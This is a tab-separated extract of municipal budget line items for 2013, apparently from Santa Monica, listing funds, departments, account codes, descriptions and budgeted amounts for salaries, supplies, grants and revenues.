3116	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	2595.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2595.0
3117	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
3118	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2013	303998.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	303998.0
3119	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	26071.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26071.0
3120	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	4100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4100.0
3121	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	6120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6120.0
3122	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405830.0	MEASURE R - OPERATING	658.0	Sales Tax	2013	-7119581.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7119581.0
3123	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406981.0	PYMT-PBAD ASSESSMENTS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3124	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	891.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	900.0
3125	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
3126	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	4899.0	0	0.0	0.0	0	0	0.0	49	0.0	0	0	0.0	4948.0
3127	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
3128	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	901.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	910.0
3129	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3130	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	257.0	0	0.0	0.0	0	0	0.0	3	0.0	0	0	0.0	260.0
3131	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104.0
3132	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2013	-150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-150000.0
3133	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	4300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4300.0
3134	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	440.0
3135	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2500	0.0	0	0	0.0	2500.0
3136	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	749700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	749700.0
3137	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2013	3263.0	-414	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2849.0
3138	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-3528.0	864	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2664.0
3139	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2013	54328.0	-10172	0.0	0.0	0	0	0.0	944	0.0	0	0	0.0	45100.0
3140	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	2208.0	-390	0.0	0.0	0	0	0.0	19	0.0	0	0	0.0	1837.0
3141	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2013	11535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11535.0
3142	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555016.0	OUTSIDE REPAIRS-HZRDOUS WASTE		 Supplies and Expenses	2013	91500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91500.0
3143	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2013	13200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13200.0
3144	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2013	1780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1780.0
3145	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511749.0	VISION	808.0	Salaries and Wages	2013	822.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	822.0
3146	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3147	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	170000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	170000.0
3148	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511490.0	OVERTIME	810.0	Salaries and Wages	2013	39278.0	0	0.0	0.0	0	0	0.0	393	0.0	0	0	0.0	39671.0
3149	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	53199.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	53199.0
3150	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	863.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	863.0
3151	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	6500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6500.0
3152	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2013	17913.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17913.0
3153	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
3154	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	2633452.0	0	0.0	0.0	0	0	0.0	26335	0.0	0	0	0.0	2659787.0
3155	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	39618.0	0	0.0	0.0	0	0	0.0	396	0.0	0	0	0.0	40014.0
3156	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	39189.0	0	0.0	0.0	0	0	0.0	1472	0.0	0	0	0.0	40661.0
3157	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2013	5305.0	0	0.0	0.0	0	0	0.0	133	0.0	0	0	0.0	5438.0
3158	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS	908.0	 Supplies and Expenses	2013	-65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-65000.0
3159	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511491.0	OVERTIME CONTINGENCY	806.0	Salaries and Wages	2013	1184500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1184500.0
3160	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
3161	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	566500.0	RECRUITMENT	806.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
3162	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544910.0	TRANSIT STORE EXPENSES	866.0	 Supplies and Expenses	2013	1773.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1773.0
3163	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544012.0	MEMBRANE REPLACEMENT	808.0	 Supplies and Expenses	2013	268985.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	268985.0
3164	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2013	678.0	-137	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	541.0
3165	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2013	5400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5400.0
3166	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	24000	0.0	24000.0
3167	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561506.0	HOMELESS PREVENTION		 Supplies and Expenses	2013	39000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39000.0
3168	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408450.0	TMD ASSESSMENT	622.0	Other	2013	-17325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17325.0
3169	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	612.0	Charges for Service	2013	-30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30000.0
3170	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	3666.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3666.0
3171	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	16357.0	0	0.0	0.0	0	0	0.0	164	0.0	0	0	0.0	16521.0
3172	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2013	19500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19500.0
3173	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	4771.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4771.0
3174	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2013	53393.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	53393.0
3175	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	566260.0	SPECIAL EVENTS	810.0	 Supplies and Expenses	2013	42000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42000.0
3176	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2013	590.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	590.0
3177	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2013	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
3178	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2013	-500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500.0
3179	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	8656.0	0	0.0	0.0	0	0	0.0	87	0.0	0	0	0.0	8743.0
3180	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2013	73673.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	73673.0
3181	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3182	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2013	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
3183	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3184	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-4304.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4304.0
3185	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	810.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
3186	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2013	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
3187	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2013	72000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72000.0
3188	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533213.0	FAC MAINT-PREVENTATIVE MAINT	810.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
3189	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522620.0	RENT	804.0	 Supplies and Expenses	2013	231855.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	231855.0
3190	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577500.0	TRANSFERS FROM / TO FUND		 Supplies and Expenses	2013	103427.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103427.0
3191	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	556700.0	PROP C LR-SAFE RTE TO SCHOOL	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	30686.0	0	0	0.0	30686.0
3192	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-2318.0	0	0.0	0.0	0	0	0.0	474	0.0	0	0	0.0	-1844.0
3193	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	804.0	Salaries and Wages	2013	548.0	0	0.0	0.0	0	0	0.0	-68	0.0	0	0	0.0	480.0
3194	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409150.0	PASSPORT SERV PHOTOS	612.0	Charges for Service	2013	-6600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6600.0
3195	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561111.0	CHRYSALIS EMPLYMNT CTR-PROP A	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3196	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561113.0	OPCC ACCESS CTR-PROP A	808.0	 Supplies and Expenses	2013	7400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7400.0
3197	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		VENICE FAMILY CLINIC-PROP A	808.0	 Supplies and Expenses	2013	3986.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3986.0
3198	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	1473.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1488.0
3199	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	68294.0	0	0.0	0.0	0	0	0.0	683	0.0	0	0	0.0	68977.0
3200	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	1779.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1797.0
3201	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2013	417.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	417.0
3202	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	1269.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1269.0
3203	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2013	6073.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6073.0
3204	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	12914.0	0	0.0	0.0	0	0	0.0	129	0.0	0	0	0.0	13043.0
3205	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	3384.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3384.0
3206	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	16118.0	0	0.0	0.0	0	0	0.0	161	0.0	0	0	0.0	16279.0
3207	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	20518.0	0	0.0	0.0	0	0	0.0	812	0.0	0	0	0.0	21330.0
3208	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2013	-29038.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29038.0
3209	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3210	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401890.0	WIRELESS FACILITY FEES	612.0	Charges for Service	2013	-10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10000.0
3211	B1	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8000.0
3212	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401810.0	ENCROACHMENT REVENUE	622.0	Other	2013	-3636.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3636.0
3213	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404560.0	UTILITY POLE LEASE FEE	608.0	Licenses and Permits	2013	-15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-15000.0
3214	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	450.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	450.0
3215	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	104040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104040.0
3216	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2013	882000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	882000.0
3217	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2013	55896.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55896.0
3218	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	13700.0	0	0.0	0.0	0	0	0.0	137	0.0	0	0	0.0	13837.0
3219	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555015.0	OUTSIDE REPAIRS - BLDG MAINT		 Supplies and Expenses	2013	373882.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	373882.0
3220	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555018.0	OUTSIDE REPAIRS/SERV-BUS STOP		 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
3221	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		UNEMPLOYMENT	816.0	Salaries and Wages	2013	5835.0	0	0.0	0.0	0	0	0.0	72	0.0	0	0	0.0	5907.0
3222	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	2473.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2473.0
3223	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	612.0
3224	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2013	6225.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6225.0
3225	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405680.0	EVENT ADMINISTRATION FEE	612.0	Charges for Service	2013	-15509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-15509.0
3226	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577723.0	ST. JOE SHELTER PLUS CARE-CDBG	810.0	 Supplies and Expenses	2013	3487.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3487.0
3227	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577726.0	ST JOE -FAM SELF SUF PRG-CDBG	810.0	 Supplies and Expenses	2013	64174.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	64174.0
3228	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562432.0	SHP-ST JOE	810.0	 Supplies and Expenses	2013	63432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63432.0
3229	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406796.0	10 UASI GRANT	610.0	Intergovernmental	2013	-252799.0	0	0.0	87046.0	0	0	0.0	0	0.0	0	0	0.0	-165753.0
3230	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406797.0	11 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-152154.0	0	0	0.0	0	0.0	0	0	0.0	-152154.0
